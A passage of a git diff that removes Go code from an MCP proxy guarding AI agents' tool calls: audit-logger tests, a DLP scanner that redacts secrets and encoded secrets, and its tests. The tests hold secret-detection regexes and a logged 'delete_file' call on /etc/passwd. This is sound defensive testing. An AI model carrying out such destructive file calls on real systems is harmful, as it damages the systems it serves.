FilePath: logPath, - Mode: PolicyModeEnforce, - }) - if err != nil { - t.Fatalf("NewLogger() error = %v", err) - } - - // Log an entry - logger.Log(&Entry{ - Direction: DirectionUpstream, - Method: "tools/call", - Tool: "test_tool", - Args: map[string]any{"arg1": "value1"}, - Decision: DecisionBlock, - Violation: true, - FailedArg: "arg1", - FailedRule: "^allowed.*", - }) - - // Close to flush - if err := logger.Close(); err != nil { - t.Fatalf("Close() error = %v", err) - } - - // Read and verify - data, err := os.ReadFile(logPath) - if err != nil { - t.Fatalf("ReadFile() error = %v", err) - } - - // Should contain at least one JSON line - lines := strings.Split(strings.TrimSpace(string(data)), "\n") - if len(lines) < 1 { - t.Fatal("Expected at least 1 log line") - } - - // Parse the last line (slog output) - var logEntry map[string]any - if err := json.Unmarshal([]byte(lines[len(lines)-1]), &logEntry); err != nil { - t.Fatalf("Failed to parse log line: %v", err) - } - - // Verify key fields are present - if logEntry["tool"] != "test_tool" { - t.Errorf("tool = %v, want test_tool", logEntry["tool"]) - } - if logEntry["decision"] != string(DecisionBlock) { - t.Errorf("decision = %v, want BLOCK", logEntry["decision"]) - } - if logEntry["violation"] != true { - t.Errorf("violation = %v, want true", logEntry["violation"]) - } -} - -// TestLogToolCallConvenience tests the LogToolCall convenience method. -func TestLogToolCallConvenience(t *testing.T) { - tmpDir := t.TempDir() - logPath := filepath.Join(tmpDir, "test-audit.jsonl") - - logger, err := NewLogger(&Config{ - FilePath: logPath, - Mode: PolicyModeMonitor, - }) - if err != nil { - t.Fatalf("NewLogger() error = %v", err) - } - - // Use convenience method - logger.LogToolCall( - "delete_file", - map[string]any{"path": "/etc/passwd"}, - DecisionAllowMonitor, - true, - "path", - "^/home/.*", - ) - - if err := logger.Close(); err != nil { - t.Fatalf("Close() error = %v", err) - } - - // Read and verify - data, err := os.ReadFile(logPath) - if err != nil { - t.Fatalf("ReadFile() error = %v", err) - } - - if !strings.Contains(string(data), "delete_file") { - t.Error("Log should contain tool name") - } - if !strings.Contains(string(data), "ALLOW_MONITOR") { - t.Error("Log should contain ALLOW_MONITOR decision") - } -} - -// TestNopLogger tests that NopLogger doesn't crash. -func TestNopLogger(t *testing.T) { - logger := NewNopLogger() - - // Should not panic - logger.Log(&Entry{ - Direction: DirectionUpstream, - Tool: "test", - Decision: DecisionAllow, - }) - - logger.LogToolCall("test", nil, DecisionAllow, false, "", "") - logger.SetMode(PolicyModeMonitor) - - if err := logger.Close(); err != nil { - t.Errorf("NopLogger.Close() error = %v", err) - } -} - -// TestGetSetMode tests mode getter and setter. -func TestGetSetMode(t *testing.T) { - logger := NewNopLogger() - - // Default mode - if logger.GetMode() != PolicyModeEnforce { - t.Errorf("Default mode = %v, want %v", logger.GetMode(), PolicyModeEnforce) - } - - // Set to monitor - logger.SetMode(PolicyModeMonitor) - if logger.GetMode() != PolicyModeMonitor { - t.Errorf("After SetMode, mode = %v, want %v", logger.GetMode(), PolicyModeMonitor) - } -} - -// TestDefaultConfig tests that DefaultConfig returns sensible defaults. -func TestDefaultConfig(t *testing.T) { - cfg := DefaultConfig() - - if cfg.FilePath != "aip-audit.jsonl" { - t.Errorf("FilePath = %q, want aip-audit.jsonl", cfg.FilePath) - } - if cfg.Mode != PolicyModeEnforce { - t.Errorf("Mode = %v, want %v", cfg.Mode, PolicyModeEnforce) - } -} diff --git a/implementations/go-proxy/pkg/dlp/scanner.go b/implementations/go-proxy/pkg/dlp/scanner.go deleted file mode 100644 index a72fb24..0000000 --- a/implementations/go-proxy/pkg/dlp/scanner.go +++ /dev/null @@ -1,543 +0,0 @@ -// Package dlp implements Data Loss Prevention (DLP) scanning and redaction. -// -// The DLP scanner inspects tool responses flowing downstream from the MCP server -// to the client and redacts sensitive information (PII, API keys, secrets) before -// forwarding. This prevents accidental data exfiltration through tool outputs. -// -// Architecture: -// -// β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -// β”‚ MCP Server │────▢│ DLP Scanner │────▢│ Client β”‚ -// β”‚ (response) β”‚ β”‚ (redact) β”‚ β”‚ (sanitized) β”‚ -// β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -// -// The scanner uses compiled regular expressions for performance, running all -// patterns against each response. Matches are replaced with [REDACTED:]. -// -// Encoding Detection: -// -// When detect_encoding is enabled, the scanner also attempts to decode base64 -// and hex-encoded strings before pattern matching. This prevents bypass attacks -// where secrets are encoded to evade detection. -package dlp - -import ( - "encoding/base64" - "encoding/hex" - "fmt" - "io" - "log" - "regexp" - "strings" - "sync" - "unicode" - - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy" -) - -// RedactionEvent captures details of a single redaction for audit logging. -type RedactionEvent struct { - // RuleName is the name of the DLP rule that matched - RuleName string - - // MatchCount is the number of matches found for this rule - MatchCount int -} - -// Scanner provides DLP scanning and redaction capabilities. -// -// Thread-safety: Scanner is safe for concurrent use after initialization. -// The compiled patterns are read-only after Compile(). -type Scanner struct { - patterns []compiledPattern - enabled bool - detectEncoding bool - mu sync.RWMutex -} - -// compiledPattern holds a pre-compiled regex with its associated rule name. -type compiledPattern struct { - name string - regex *regexp.Regexp -} - -// NewScanner creates a new DLP scanner from policy configuration. -// -// Returns nil if DLP is not configured or disabled. -// Returns error if any pattern regex fails to compile. -func NewScanner(cfg *policy.DLPConfig) (*Scanner, error) { - if cfg == nil || !cfg.IsEnabled() { - return nil, nil - } - - s := &Scanner{ - patterns: make([]compiledPattern, 0, len(cfg.Patterns)), - enabled: true, - detectEncoding: cfg.DetectEncoding, - } - - for _, p := range cfg.Patterns { - if p.Name == "" { - return nil, fmt.Errorf("DLP pattern missing required 'name' field") - } - if p.Regex == "" { - return nil, fmt.Errorf("DLP pattern %q missing required 'regex' field", p.Name) - } - - // Validate regex complexity before compilation (best-effort ReDoS detection) - if err := policy.ValidateRegexComplexity(p.Regex); err != nil { - return nil, fmt.Errorf("DLP pattern %q has potentially dangerous regex: %w", p.Name, err) - } - - // Compile with timeout to prevent ReDoS at compile time - compiled, err := policy.SafeCompile(p.Regex, 0) - if err != nil { - return nil, fmt.Errorf("DLP pattern %q has invalid regex: %w", p.Name, err) - } - - s.patterns = append(s.patterns, compiledPattern{ - name: p.Name, - regex: compiled, - }) - } - - return s, nil -} - -// IsEnabled returns true if the scanner is active and has patterns configured. -func (s *Scanner) IsEnabled() bool { - if s == nil { - return false - } - s.mu.RLock() - defer s.mu.RUnlock() - return s.enabled && len(s.patterns) > 0 -} - -// Redact scans input string for sensitive data and replaces matches. -// -// Returns: -// - output: The redacted string with matches replaced by [REDACTED:] -// - events: List of RedactionEvent for each rule that matched (for audit logging) -// -// If the scanner is nil or disabled, returns the original input unchanged. -// -// When detect_encoding is enabled, also scans decoded base64/hex content. -// If a secret is found in decoded content, the original encoded string is redacted. -// -// Example: -// -// input: "API key is AKIAIOSFODNN7EXAMPLE" -// output: "API key is [REDACTED:AWS Key]" -// events: [{RuleName: "AWS Key", MatchCount: 1}] -func (s *Scanner) Redact(input string) (output string, events []RedactionEvent) { - if s == nil || !s.IsEnabled() { - return input, nil - } - - s.mu.RLock() - defer s.mu.RUnlock() - - output = input - events = make([]RedactionEvent, 0) - - // Step 1: Standard pattern matching on raw input - for _, p := range s.patterns { - matches := p.regex.FindAllStringIndex(output, -1) - if len(matches) > 0 { - // Record the redaction event before modifying the string - events = append(events, RedactionEvent{ - RuleName: p.name, - MatchCount: len(matches), - }) - - // Replace all matches with redaction placeholder - replacement := fmt.Sprintf("[REDACTED:%s]", p.name) - output = p.regex.ReplaceAllString(output, replacement) - } - } - - // Step 2: Encoding detection (if enabled) - // Scan for base64/hex encoded secrets that bypass plain regex - if s.detectEncoding { - segments := findEncodedSegments(output) - for _, seg := range segments { - // Skip if segment was already redacted by a previous (larger) segment - if !strings.Contains(output, seg.original) { - continue - } - // Check if decoded content contains any secrets - for _, p := range s.patterns { - if p.regex.MatchString(seg.decoded) { - // Found secret in decoded content - redact the original encoded string - events = append(events, RedactionEvent{ - RuleName: p.name + " (encoded)", - MatchCount: 1, - }) - replacement := fmt.Sprintf("[REDACTED:%s:encoded]", p.name) - output = strings.Replace(output, seg.original, replacement, 1) - break // Don't double-count same segment - } - } - } - } - - return output, events -} - -// RedactJSON scans a JSON byte slice for sensitive data in string values. -// This is a convenience wrapper that converts to string, redacts, and returns bytes. -// -// Note: This performs string-level redaction. For structured JSON inspection, -// use the Scanner with the decoded JSON content fields. -func (s *Scanner) RedactJSON(input []byte) (output []byte, events []RedactionEvent) { - if s == nil || !s.IsEnabled() { - return input, nil - } - - redacted, events := s.Redact(string(input)) - return []byte(redacted), events -} - -// ----------------------------------------------------------------------------- -// Deep/Recursive Scanning -// ----------------------------------------------------------------------------- - -// RedactDeep recursively scans and redacts sensitive data in nested structures. -// -// This method handles: -// - Strings: Scanned directly -// - Maps (map[string]any): Each value is recursively scanned -// - Slices ([]any): Each element is recursively scanned -// - Primitives (int, float, bool, nil): Passed through unchanged -// -// SECURITY: This prevents bypass attacks where secrets are hidden in nested -// structures like {"config": {"aws": {"key": "AKIAIOSFODNN7EXAMPLE"}}}. -// The shallow Redact() method would miss this; RedactDeep catches it. -// -// Returns: -// - result: A new structure with redacted values (original is NOT modified) -// - events: Combined RedactionEvent list from all nested redactions -// -// Example: -// -// input: map[string]any{"nested": map[string]any{"secret": "AKIAIOSFODNN7EXAMPLE"}} -// output: map[string]any{"nested": map[string]any{"secret": "[REDACTED:AWS Key]"}} -// events: [{RuleName: "AWS Key", MatchCount: 1}] -func (s *Scanner) RedactDeep(v any) (any, []RedactionEvent) { - if s == nil || !s.IsEnabled() { - return v, nil - } - - var allEvents []RedactionEvent - result := s.redactDeepInternal(v, &allEvents) - return result, allEvents -} - -// redactDeepInternal is the recursive implementation of RedactDeep. -// It accumulates events into the provided slice to avoid allocations per level. -func (s *Scanner) redactDeepInternal(v any, events *[]RedactionEvent) any { - if v == nil { - return nil - } - - switch val := v.(type) { - case string: - // Base case: scan and redact string - redacted, newEvents := s.Redact(val) - *events = append(*events, newEvents...) - return redacted - - case map[string]any: - // Recursive case: process each map value - // Note: map[string]interface{} is the same type as map[string]any in Go 1.18+ - result := make(map[string]any, len(val)) - for k, v := range val { - result[k] = s.redactDeepInternal(v, events) - } - return result - - case []any: - // Recursive case: process each slice element - // Note: []interface{} is the same type as []any in Go 1.18+ - result := make([]any, len(val)) - for i, v := range val { - result[i] = s.redactDeepInternal(v, events) - } - return result - - // Primitives pass through unchanged - case float64, float32, int, int64, int32, int16, int8, - uint, uint64, uint32, uint16, uint8, bool: - return val - - default: - // For unknown types, try to convert to string and scan - // This catches custom types that implement Stringer - str := fmt.Sprintf("%v", val) - if str != "" && str != fmt.Sprintf("%T", val) { - redacted, newEvents := s.Redact(str) - if len(newEvents) > 0 { - *events = append(*events, newEvents...) - return redacted - } - } - return val - } -} - -// RedactMap is a convenience method for redacting map[string]any structures. -// Returns the redacted map and events. If input is not a map, returns it unchanged. -func (s *Scanner) RedactMap(input map[string]any) (map[string]any, []RedactionEvent) { - if s == nil || !s.IsEnabled() || input == nil { - return input, nil - } - - result, events := s.RedactDeep(input) - if m, ok := result.(map[string]any); ok { - return m, events - } - return input, nil -} - -// PatternCount returns the number of configured DLP patterns. -func (s *Scanner) PatternCount() int { - if s == nil { - return 0 - } - s.mu.RLock() - defer s.mu.RUnlock() - return len(s.patterns) -} - -// PatternNames returns the names of all configured patterns (for logging). -func (s *Scanner) PatternNames() []string { - if s == nil { - return nil - } - s.mu.RLock() - defer s.mu.RUnlock() - - names := make([]string, len(s.patterns)) - for i, p := range s.patterns { - names[i] = p.name - } - return names -} - -// ----------------------------------------------------------------------------- -// Encoding Detection -// ----------------------------------------------------------------------------- - -// Patterns for detecting potentially encoded strings -var ( - // Base64 standard alphabet with optional padding - // Matches strings of 16+ chars that look like base64 (to avoid false positives) - base64Pattern = regexp.MustCompile(`[A-Za-z0-9+/]{16,}={0,2}`) - - // Base64 URL-safe alphabet - base64URLPattern = regexp.MustCompile(`[A-Za-z0-9_-]{16,}={0,2}`) - - // Hex strings: 0x prefix or long continuous hex (32+ chars for 16+ bytes) - hexPrefixPattern = regexp.MustCompile(`0[xX][0-9A-Fa-f]{8,}`) - hexLongPattern = regexp.MustCompile(`[0-9A-Fa-f]{32,}`) -) - -// encodedSegment represents a potentially encoded substring found in input -type encodedSegment struct { - original string // The original encoded string - decoded string // The decoded content - start int // Start position in input - end int // End position in input -} - -// findEncodedSegments scans input for base64 and hex encoded substrings. -// Returns segments that successfully decoded to printable text. -// -// Order matters: hex is checked first because hex strings can accidentally -// match base64 patterns (they share [A-Fa-f0-9]), but hex decoding is more -// specific and should take precedence. -func findEncodedSegments(input string) []encodedSegment { - var segments []encodedSegment - seen := make(map[string]bool) // Avoid duplicate segments - - // Find hex candidates FIRST (more specific than base64) - // Hex strings only contain [0-9A-Fa-f] and would be mangled by base64 decode - for _, pattern := range []*regexp.Regexp{hexPrefixPattern, hexLongPattern} { - matches := pattern.FindAllStringIndex(input, -1) - for _, match := range matches { - encoded := input[match[0]:match[1]] - if seen[encoded] { - continue - } - - decoded, ok := tryDecodeHex(encoded) - if ok && isPrintableString(decoded) && len(decoded) >= 4 { - seen[encoded] = true - segments = append(segments, encodedSegment{ - original: encoded, - decoded: decoded, - start: match[0], - end: match[1], - }) - } - } - } - - // Find base64 candidates (after hex to avoid misclassification) - for _, pattern := range []*regexp.Regexp{base64Pattern, base64URLPattern} { - matches := pattern.FindAllStringIndex(input, -1) - for _, match := range matches { - encoded := input[match[0]:match[1]] - if seen[encoded] { - continue - } - - decoded, ok := tryDecodeBase64(encoded) - if ok && isPrintableString(decoded) && len(decoded) >= 4 { - seen[encoded] = true - segments = append(segments, encodedSegment{ - original: encoded, - decoded: decoded, - start: match[0], - end: match[1], - }) - } - } - } - - return segments -} - -// tryDecodeBase64 attempts to decode a base64 string (standard or URL-safe). -func tryDecodeBase64(s string) (string, bool) { - // Try standard base64 first - decoded, err := base64.StdEncoding.DecodeString(s) - if err == nil { - return string(decoded), true - } - - // Try URL-safe base64 - decoded, err = base64.URLEncoding.DecodeString(s) - if err == nil { - return string(decoded), true - } - - // Try without padding (common in URLs/JWT) - decoded, err = base64.RawStdEncoding.DecodeString(s) - if err == nil { - return string(decoded), true - } - - decoded, err = base64.RawURLEncoding.DecodeString(s) - if err == nil { - return string(decoded), true - } - - return "", false -} - -// tryDecodeHex attempts to decode a hex string. -func tryDecodeHex(s string) (string, bool) { - // Strip 0x prefix if present - hexStr := strings.TrimPrefix(strings.TrimPrefix(s, "0x"), "0X") - - decoded, err := hex.DecodeString(hexStr) - if err != nil { - return "", false - } - - return string(decoded), true -} - -// isPrintableString returns true if the string contains mostly printable ASCII. -// Used to filter out random binary data that happens to decode. -func isPrintableString(s string) bool { - if len(s) == 0 { - return false - } - - printable := 0 - for _, r := range s { - if unicode.IsPrint(r) || unicode.IsSpace(r) { - printable++ - } - } - - // Require at least 80% printable characters - return float64(printable)/float64(len([]rune(s))) >= 0.8 -} - -// DetectsEncoding returns true if encoding detection is enabled. -func (s *Scanner) DetectsEncoding() bool { - if s == nil { - return false - } - s.mu.RLock() - defer s.mu.RUnlock() - return s.detectEncoding -} - -// ----------------------------------------------------------------------------- -// Filtered Writer for Stderr/Output Streams -// ----------------------------------------------------------------------------- - -// FilteredWriter wraps an io.Writer and applies DLP scanning to all output. -// Use this to filter subprocess stderr or other output streams. -// -// Example: -// -// filtered := dlp.NewFilteredWriter(os.Stderr, scanner, logger) -// cmd.Stderr = filtered // Subprocess stderr now gets DLP scanned -type FilteredWriter struct { - dest io.Writer - scanner *Scanner - logger *log.Logger - prefix string -} - -// NewFilteredWriter creates a writer that scans and redacts output. -// -// Parameters: -// - dest: The underlying writer (e.g., os.Stderr) -// - scanner: DLP scanner to use (can be nil to pass through unchanged) -// - logger: Optional logger for DLP events (can be nil) -// - prefix: Optional prefix for log messages (e.g., "[stderr]") -func NewFilteredWriter(dest io.Writer, scanner *Scanner, logger *log.Logger, prefix string) *FilteredWriter { - return &FilteredWriter{ - dest: dest, - scanner: scanner, - logger: logger, - prefix: prefix, - } -} - -// Write implements io.Writer, scanning and redacting content before writing. -func (fw *FilteredWriter) Write(p []byte) (n int, err error) { - if fw.scanner == nil || !fw.scanner.IsEnabled() { - // No scanner - pass through unchanged - return fw.dest.Write(p) - } - - // Scan and redact the output - input := string(p) - redacted, events := fw.scanner.Redact(input) - - // Log DLP events if logger is configured - if fw.logger != nil && len(events) > 0 { - for _, event := range events { - fw.logger.Printf("DLP_STDERR %s: Redacted %d match(es) of %q", - fw.prefix, event.MatchCount, event.RuleName) - } - } - - // Write the redacted output - written, err := fw.dest.Write([]byte(redacted)) - if err != nil { - return written, err - } - - // Return original length to satisfy io.Writer contract - // (caller expects we consumed all input bytes) - return len(p), nil -} diff --git a/implementations/go-proxy/pkg/dlp/scanner_test.go b/implementations/go-proxy/pkg/dlp/scanner_test.go deleted file mode 100644 index 371ff50..0000000 --- a/implementations/go-proxy/pkg/dlp/scanner_test.go +++ /dev/null @@ -1,1080 +0,0 @@ -package dlp - -import ( - "bytes" - "strings" - "testing" - - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy" -) - -func TestNewScanner(t *testing.T) { - tests := []struct { - name string - cfg *policy.DLPConfig - wantNil bool - wantErr bool - }{ - { - name: "nil config returns nil scanner", - cfg: nil, - wantNil: true, - wantErr: false, - }, - { - name: "disabled config returns nil scanner", - cfg: &policy.DLPConfig{ - Enabled: boolPtr(false), - Patterns: []policy.DLPPattern{{Name: "Test", Regex: "test"}}, - }, - wantNil: true, - wantErr: false, - }, - { - name: "valid patterns compile successfully", - cfg: &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`}, - {Name: "Secret", Regex: `(?i)secret`}, - }, - }, - wantNil: false, - wantErr: false, - }, - { - name: "invalid regex returns error", - cfg: &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Bad", Regex: `[invalid`}, - }, - }, - wantNil: false, - wantErr: true, - }, - { - name: "pattern missing name returns error", - cfg: &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "", Regex: `test`}, - }, - }, - wantNil: false, - wantErr: true, - }, - { - name: "pattern missing regex returns error", - cfg: &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Test", Regex: ""}, - }, - }, - wantNil: false, - wantErr: true, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - scanner, err := NewScanner(tt.cfg) - - if tt.wantErr && err == nil { - t.Fatal("expected error, got nil") - } - if !tt.wantErr && err != nil { - t.Fatalf("unexpected error: %v", err) - } - if tt.wantNil && scanner != nil { - t.Fatal("expected nil scanner") - } - if !tt.wantNil && !tt.wantErr && scanner == nil { - t.Fatal("expected non-nil scanner") - } - }) - } -} - -func TestScanner_Redact(t *testing.T) { - // Set up scanner with common patterns - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`}, - {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - {Name: "Generic Secret", Regex: `(?i)(api_key|secret|password)\s*[:=]\s*['"]?([a-zA-Z0-9-_]+)['"]?`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - tests := []struct { - name string - input string - wantOutput string - wantRules []string - }{ - { - name: "no sensitive data", - input: "Hello, this is a normal message", - wantOutput: "Hello, this is a normal message", - wantRules: nil, - }, - { - name: "email redaction", - input: "Contact me at user@example.com", - wantOutput: "Contact me at [REDACTED:Email]", - wantRules: []string{"Email"}, - }, - { - name: "multiple emails", - input: "Email alice@test.org or bob@company.com", - wantOutput: "Email [REDACTED:Email] or [REDACTED:Email]", - wantRules: []string{"Email"}, - }, - { - name: "AWS key redaction", - input: "The key is AKIAIOSFODNN7EXAMPLE", - wantOutput: "The key is [REDACTED:AWS Key]", - wantRules: []string{"AWS Key"}, - }, - { - name: "generic secret redaction", - input: `api_key: "my-secret-key-123"`, - wantOutput: `[REDACTED:Generic Secret]`, - wantRules: []string{"Generic Secret"}, - }, - { - name: "password redaction", - input: "password = supersecret123", - wantOutput: "[REDACTED:Generic Secret]", - wantRules: []string{"Generic Secret"}, - }, - { - name: "multiple pattern types", - input: "Contact user@test.com with key AKIAIOSFODNN7EXAMPLE", - wantOutput: "Contact [REDACTED:Email] with key [REDACTED:AWS Key]", - wantRules: []string{"Email", "AWS Key"}, - }, - { - name: "case insensitive secret", - input: "SECRET: myvalue", - wantOutput: "[REDACTED:Generic Secret]", - wantRules: []string{"Generic Secret"}, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - output, events := scanner.Redact(tt.input) - - if output != tt.wantOutput { - t.Errorf("Redact() output = %q, want %q", output, tt.wantOutput) - } - - if len(events) != len(tt.wantRules) { - t.Errorf("Redact() events count = %d, want %d", len(events), len(tt.wantRules)) - } - - for i, wantRule := range tt.wantRules { - if i < len(events) && events[i].RuleName != wantRule { - t.Errorf("Redact() events[%d].RuleName = %q, want %q", i, events[i].RuleName, wantRule) - } - } - }) - } -} - -func TestScanner_Redact_NilScanner(t *testing.T) { - var scanner *Scanner - input := "sensitive@email.com" - - output, events := scanner.Redact(input) - - if output != input { - t.Errorf("nil scanner should return input unchanged, got %q", output) - } - if events != nil { - t.Error("nil scanner should return nil events") - } -} - -func TestScanner_RedactJSON(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`}, - }, - } - scanner, _ := NewScanner(cfg) - - input := []byte(`{"text": "Contact user@example.com"}`) - output, events := scanner.RedactJSON(input) - - expected := `{"text": "Contact [REDACTED:Email]"}` - if string(output) != expected { - t.Errorf("RedactJSON() = %s, want %s", output, expected) - } - if len(events) != 1 || events[0].RuleName != "Email" { - t.Errorf("RedactJSON() events = %v, want [{Email, 1}]", events) - } -} - -func TestScanner_IsEnabled(t *testing.T) { - tests := []struct { - name string - scanner *Scanner - want bool - }{ - { - name: "nil scanner", - scanner: nil, - want: false, - }, - { - name: "empty patterns", - scanner: &Scanner{enabled: true, patterns: nil}, - want: false, - }, - { - name: "enabled with patterns", - scanner: &Scanner{ - enabled: true, - patterns: []compiledPattern{{name: "Test"}}, - }, - want: true, - }, - { - name: "disabled with patterns", - scanner: &Scanner{ - enabled: false, - patterns: []compiledPattern{{name: "Test"}}, - }, - want: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := tt.scanner.IsEnabled(); got != tt.want { - t.Errorf("IsEnabled() = %v, want %v", got, tt.want) - } - }) - } -} - -func TestScanner_PatternCount(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "P1", Regex: "a"}, - {Name: "P2", Regex: "b"}, - {Name: "P3", Regex: "c"}, - }, - } - scanner, _ := NewScanner(cfg) - - if scanner.PatternCount() != 3 { - t.Errorf("PatternCount() = %d, want 3", scanner.PatternCount()) - } - - var nilScanner *Scanner - if nilScanner.PatternCount() != 0 { - t.Error("nil scanner should have PatternCount() = 0") - } -} - -func TestScanner_PatternNames(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Email", Regex: "a"}, - {Name: "AWS Key", Regex: "b"}, - }, - } - scanner, _ := NewScanner(cfg) - - names := scanner.PatternNames() - if len(names) != 2 { - t.Fatalf("PatternNames() len = %d, want 2", len(names)) - } - if names[0] != "Email" || names[1] != "AWS Key" { - t.Errorf("PatternNames() = %v, want [Email, AWS Key]", names) - } -} - -// Test case from the spec -func TestScanner_TestCase_FromSpec(t *testing.T) { - // Configure DLP rule: regex: "SECRET" - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Generic Secret", Regex: "SECRET"}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - // Mock Tool Output content text - input := "This is a SECRET code" - expected := "This is a [REDACTED:Generic Secret] code" - - output, events := scanner.Redact(input) - - if output != expected { - t.Errorf("Redact() = %q, want %q", output, expected) - } - if len(events) != 1 { - t.Fatalf("expected 1 event, got %d", len(events)) - } - if events[0].RuleName != "Generic Secret" { - t.Errorf("event.RuleName = %q, want %q", events[0].RuleName, "Generic Secret") - } - if events[0].MatchCount != 1 { - t.Errorf("event.MatchCount = %d, want 1", events[0].MatchCount) - } -} - -// boolPtr is a helper to create *bool values -func boolPtr(b bool) *bool { - return &b -} - -// ----------------------------------------------------------------------------- -// Deep/Recursive Scanning Tests -// ----------------------------------------------------------------------------- - -// TestRedactDeep_NestedMaps tests that secrets in nested map structures are found. -// This is the key security test - prevents the bypass attack via nested args. -func TestRedactDeep_NestedMaps(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `AKIA[A-Z0-9]{16}`}, - {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - tests := []struct { - name string - input any - wantRules []string - checkFunc func(t *testing.T, result any) - }{ - { - name: "single level map with secret", - input: map[string]any{ - "key": "AKIAIOSFODNN7EXAMPLE", - }, - wantRules: []string{"AWS Key"}, - checkFunc: func(t *testing.T, result any) { - m := result.(map[string]any) - if m["key"] != "[REDACTED:AWS Key]" { - t.Errorf("expected redacted key, got %v", m["key"]) - } - }, - }, - { - name: "two levels deep - THE BYPASS ATTACK", - input: map[string]any{ - "config": map[string]any{ - "aws": map[string]any{ - "access_key": "AKIAIOSFODNN7EXAMPLE", - }, - }, - }, - wantRules: []string{"AWS Key"}, - checkFunc: func(t *testing.T, result any) { - m := result.(map[string]any) - config := m["config"].(map[string]any) - aws := config["aws"].(map[string]any) - if aws["access_key"] != "[REDACTED:AWS Key]" { - t.Errorf("nested secret not redacted: %v", aws["access_key"]) - } - }, - }, - { - name: "three levels deep", - input: map[string]any{ - "level1": map[string]any{ - "level2": map[string]any{ - "level3": map[string]any{ - "secret": "AKIAIOSFODNN7EXAMPLE", - }, - }, - }, - }, - wantRules: []string{"AWS Key"}, - checkFunc: func(t *testing.T, result any) { - m := result.(map[string]any) - l1 := m["level1"].(map[string]any) - l2 := l1["level2"].(map[string]any) - l3 := l2["level3"].(map[string]any) - if l3["secret"] != "[REDACTED:AWS Key]" { - t.Errorf("deep nested secret not redacted: %v", l3["secret"]) - } - }, - }, - { - name: "multiple secrets at different levels", - input: map[string]any{ - "email": "user@example.com", - "nested": map[string]any{ - "aws_key": "AKIAIOSFODNN7EXAMPLE", - }, - }, - wantRules: []string{"Email", "AWS Key"}, - checkFunc: func(t *testing.T, result any) { - m := result.(map[string]any) - if m["email"] != "[REDACTED:Email]" { - t.Errorf("top-level email not redacted") - } - nested := m["nested"].(map[string]any) - if nested["aws_key"] != "[REDACTED:AWS Key]" { - t.Errorf("nested aws_key not redacted") - } - }, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result, events := scanner.RedactDeep(tt.input) - - // Check events - if len(events) != len(tt.wantRules) { - t.Errorf("expected %d events, got %d: %v", len(tt.wantRules), len(events), events) - } - - // Check result - if tt.checkFunc != nil { - tt.checkFunc(t, result) - } - }) - } -} - -// TestRedactDeep_Arrays tests that secrets in arrays are found. -func TestRedactDeep_Arrays(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - tests := []struct { - name string - input any - wantCount int - }{ - { - name: "array of strings with secrets", - input: map[string]any{ - "emails": []any{ - "user1@example.com", - "user2@example.com", - "not-an-email", - }, - }, - wantCount: 2, - }, - { - name: "array of objects with secrets", - input: map[string]any{ - "users": []any{ - map[string]any{"email": "alice@test.org"}, - map[string]any{"email": "bob@test.org"}, - map[string]any{"name": "charlie"}, - }, - }, - wantCount: 2, - }, - { - name: "nested arrays", - input: map[string]any{ - "data": []any{ - []any{ - "nested@email.com", - }, - }, - }, - wantCount: 1, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - _, events := scanner.RedactDeep(tt.input) - - totalMatches := 0 - for _, e := range events { - totalMatches += e.MatchCount - } - - if totalMatches != tt.wantCount { - t.Errorf("expected %d matches, got %d: %v", tt.wantCount, totalMatches, events) - } - }) - } -} - -// TestRedactDeep_Primitives tests that non-string primitives pass through unchanged. -func TestRedactDeep_Primitives(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: 